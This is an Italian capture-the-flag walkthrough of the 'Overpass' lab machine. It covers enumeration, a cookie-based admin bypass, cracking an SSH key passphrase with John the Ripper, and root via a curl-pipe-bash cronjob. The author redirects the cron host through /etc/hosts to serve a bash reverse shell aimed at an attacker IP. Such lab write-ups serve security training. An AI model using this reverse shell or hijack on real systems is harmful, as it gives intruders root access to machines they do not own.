

CTF: [Overpass](#)

IP Target: 10.130.130.21

Come primo passaggio ho cominciato ad enumerare i servizi aperti nella rete:

```
sudo nmap -sS -sV -sC -p- 10.130.130.21
```

Ottenendo come output:

```
Nmap scan report for 10.130.130.21
Host is up (0.085s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c9:30:89:3d:fe:91:58:11:49:f3:6b:41:44:e4:b3:27 (RSA)
|   256 d0:8f:f3:d3:e1:ee:b3:8d:87:32:d2:d6:6e:40:47:33 (ECDSA)
|_  256 c3:f5:4d:2f:58:0c:4a:15:89:f6:b2:87:69:29:01:44 (ED25519)
80/tcp    open  http     Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_ http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 156.07 seconds
```

Da questo output possiamo vedere come siano attivi due servizi

1. nella porta 22 c'è SSH con versione OpenSSH 8.2p1
2. Nella porta 80 c'è un servizio HTTP offerto da Golang

Apro quindi il codice sorgente della pagina web in cerca di qualcosa di interessante `view-source:http://10.130.130.21/downloads/` ma non si trova nulla di utile.

Decido quindi di procedere con gobuster per enumerare file e cartelle presenti, ricordandomi si tratti di un server golang includo anche le estensioni .go

```
kali@kali:~$ gobuster dir -u http://10.130.130.21 -w
/usr/share/seclists/Discovery/Web-Content/common.txt -x go,txt,bak

[TRONCATO]
```

```
aboutus          (Status: 301) [Size: 0] [--> aboutus/]
admin            (Status: 301) [Size: 42] [--> /admin/]
css              (Status: 301) [Size: 0] [--> css/]
downloads        (Status: 301) [Size: 0] [--> downloads/]
img              (Status: 301) [Size: 0] [--> img/]
index.html       (Status: 301) [Size: 0] [--> ./]
render?url=https://www.google.com (Status: 301) [Size: 0] [-->
/render%3Furl=https://www.google.com]
render?url=https://www.google.com.bak (Status: 301) [Size: 0] [-->
/render%3Furl=https://www.google.com.bak]
render?url=https://www.google.com.go (Status: 301) [Size: 0] [-->
/render%3Furl=https://www.google.com.go]
render?url=https://www.google.com.txt (Status: 301) [Size: 0] [-->
/render%3Furl=https://www.google.com.txt]
render/https://www.google.com (Status: 301) [Size: 0] [-->
/render/https://www.google.com]
render/https://www.google.com.go (Status: 301) [Size: 0] [-->
/render/https://www.google.com.go]
render/https://www.google.com.txt (Status: 301) [Size: 0] [-->
/render/https://www.google.com.txt]
render/https://www.google.com.bak (Status: 301) [Size: 0] [-->
/render/https://www.google.com.bak]
Progress: 19000 / 19000 (100.00%)
```

Output molto interessanti! soprattutto quelli `render/...`

Ho proceduto prima però a scaricare il source code dell'applicativo

```
// [...TRUNCATED...]
func rot47(input string) string {
    var result []string
    for i := range input[:len(input)] {
        j := int(input[i])
        if (j >= 33) && (j <= 126) {
            result = append(result, string(rune(33+((j+14)%94))))
        } else {
            result = append(result, string(input[i]))
        }
    }
    return strings.Join(result, "")
}
// [...TRUNCATED...]
```

Le password vengono cifrate con algoritmo `rot47` quindi se poi otteniamo sappiamo già come decodificarle

Ritornando nella pagina di login ho ispezionato il codice javascript e ho notato che dopo login imposta un cookie:

```
Cookies.set("SessionToken",statusOrCookie)
```

Provando a impostarlo manualmente con un valore casuale, ci permette di entrare direttamente nella pagina admin..! dove ci si presenta una chiave SSH.

Provando a loggarci

```
kali@kali:~/Desktop/CTF/Overpass$ ssh -i key.rsa james@10.130.130.21
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'key.rsa':
```

Veniamo bloccati dalla richiesta di una password che non possediamo, ma possiamo provare a crackarla con [John The Ripper](#)

```
kali@kali:~/Desktop/CTF/Overpass$ ssh2john key.rsa > hash.txt

kali@kali:~/Desktop/CTF/Overpass$ john --
wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all
loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13          (key.rsa)
1g 0:00:00:01 DONE (2026-08-16 08:02) 0.6578g/s 8800p/s 8800c/s 8800C/s
lisa..honolulu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Ottenendo la password *james13*

```
kali@kali:~/Desktop/CTF/Overpass$ ssh -i key.rsa james@10.130.130.21
# [...TRUNCATED...]
james@ip-10-130-130-21:~$
```

E siamo dentro! cerchiamo ora la prima flag

```
james@ip-10-130-130-21:~$ ls
todo.txt  user.txt
```

```
james@ip-10-130-130-21:~$ cat user.txt
thm{65c1aaf000506e56996822c6281e6bf7}
james@ip-10-130-130-21:~$
```

Ora dobbiamo procedere con l'elevazione dei permessi e riuscire a passare a root. Qui dobbiamo seguire una strada sensata..

Procediamo con il cercare i file SUID ([Commands > Find Files With setuid Permissions](#))

```
james@ip-10-130-130-21:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 39144 Mar  7  2020 /bin/fusermount
-rwsr-xr-x 1 root root 39144 Apr  9  2024 /bin/umount
-rwsr-xr-x 1 root root 67816 Apr  9  2024 /bin/su
-rwsr-xr-x 1 root root 55528 Apr  9  2024 /bin/mount
-rwsr-xr-x 1 root root 85064 Feb  6  2024 /usr/bin/chfn
-rwsr-xr-x 1 root root 53040 Feb  6  2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 166056 Apr  4  2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 68208 Feb  6  2024 /usr/bin/passwd
-rwsr-xr-x 1 root root 31032 Feb 21  2022 /usr/bin/pkexec
-rwsr-xr-x 1 root root 44784 Feb  6  2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root 88464 Feb  6  2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 477672 Apr 11  2025 /usr/lib/openssh/ssh-keysign
```

Niente di interessante, procediamo con la ricerca dei programmi eseguibili senza sudo ([Commands > Controlla cosa puoi eseguire senza sudo](#))

```
james@ip-10-130-130-21:~$ sudo -l
[sudo] password for james:
Sorry, try again.
```

Non conosciamo la password!

Procediamo allora con il controllare i processi ([Commands > Controllare processi](#))

```
james@ip-10-130-130-21:~$ ps auxww
USER          PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
# [...TRUNCATED...]
root          631  0.0  0.1   5800   3108 ?        Ss   10:11   0:00
```

```
/usr/sbin/cron -f
# [...TRUNCATED...]
```

C'è crontab eseguito come root!

Listiamo i cronjob ([Commands > Cronjob](#))

```
james@ip-10-130-130-21:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts -
-report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts -
-report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts -
-report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
```

Ogni minuto viene eseguito

`curl overpass.thm/downloads/src/buildscript.sh | bash` come root!

Possiamo modificare a cosa punta `overpass.thm`, se proviamo a fare

`curl overpass.thm/downloads/src/buildscript.sh | bash`

vediamo che `overpass.thm` punta a localhost (127.0.0.1)

Possiamo aprire sulla macchina attaccante un webserver in python che ospita un file `buildscript.sh` malevolo che crea una reverse-shell ([Reverse-Shell](#))!

Dalla macchina attaccante avvio il webserver `python3 -m http.server 80` e dalla stessa cartella di dove ho avviato il webserver creo questa struttura di file e cartelle

`downloads/src/buildscript.sh` e in `buildscript.sh` scrivo il payload ([Reverse-Shell > Bash reverse-shell](#))

```
bash -c 'exec bash -i &>/dev/tcp/192.168.163.29/4444 <&1'
```

Dove `192.168.163.29` è la macchina dove verrà instaurato la reverse shell, IP ottenuto tramite `ip a show tun0`

Subito dopo apriamo subito la porta `4444` per ricevere la reverse shell usando [netcat](#)

```
nc -lvnp 4444
```

A questo punto dobbiamo modificare i [DNS](#) di overpass.thm nella macchina vittima, apriamo con nano /etc/hosts e commentiamo la riga overpass.thm 127.0.0.1 e in fondo scriviamo 192.168.163.29 overpass.thm

```
james@ip-10-130-130-21:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
# 127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1      ip6-localhost ip6-loopback
fe00::0  ip6-localnet
ff00::0  ip6-mcastprefix
ff02::1  ip6-allnodes
ff02::2  ip6-allrouters

192.168.163.29 overpass.thm
```

Ora aspettiamo che il cronjob abbia effetto (1 minuto) e comparirà nel terminale dove abbiamo attivato nc -lvnp 4444 la reverse shell

```
kali@kali:~/Desktop/CTF/Overpass/payload$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.163.29] from (UNKNOWN) [10.130.130.21] 59816
bash: cannot set terminal process group (8644): Inappropriate ioctl for device
bash: no job control in this shell

root@ip-10-130-130-21:~# ls
ls
buildStatus
builds
go
root.txt
src
root@ip-10-130-130-21:~# cat root.txt
cat root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}
```

Nota: solitamente si preferisce stabilizzare la reverse shell: [Reverse-Shell > Stabilizzare reverse-shell](#)